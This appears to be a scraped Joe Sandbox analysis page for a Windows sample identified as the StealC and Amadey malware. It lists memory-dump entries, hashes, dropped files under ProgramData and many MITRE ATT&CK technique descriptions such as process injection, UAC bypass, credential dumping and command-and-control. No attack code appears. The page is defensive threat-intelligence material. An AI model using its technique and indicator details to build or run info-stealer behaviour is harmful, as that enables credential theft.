Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 20a9635cb75b2f6dc2a6b2965037a7cc578dde06ef8a002f279f9d9fcc6807c9
Instruction ID: f4263eceddf06f892e79eb767998d8f31c7c046ed4f13c05c2ac8634dd20bdda
Opcode Fuzzy Hash: 20a9635cb75b2f6dc2a6b2965037a7cc578dde06ef8a002f279f9d9fcc6807c9
Instruction Fuzzy Hash: 8F01D8B1F002805BF7102F7E9D445667AACEF9669DB410635ED48C2A21FB32C47986E6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHDHJKKJDHJJJJKEGHI

C:\ProgramData\CAFHDBGH

C:\ProgramData\CGIDGCGIEGDGDGDGHJKK

C:\ProgramData\DHIJDHIDBGHJKECBFIIDAAEHJK

C:\ProgramData\FHCGCFHDHIIIDGCAAEGDAFBFHD

C:\ProgramData\JEHIJJKE

C:\ProgramData\KJKFBAFIDAEBFHJKJEBF

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre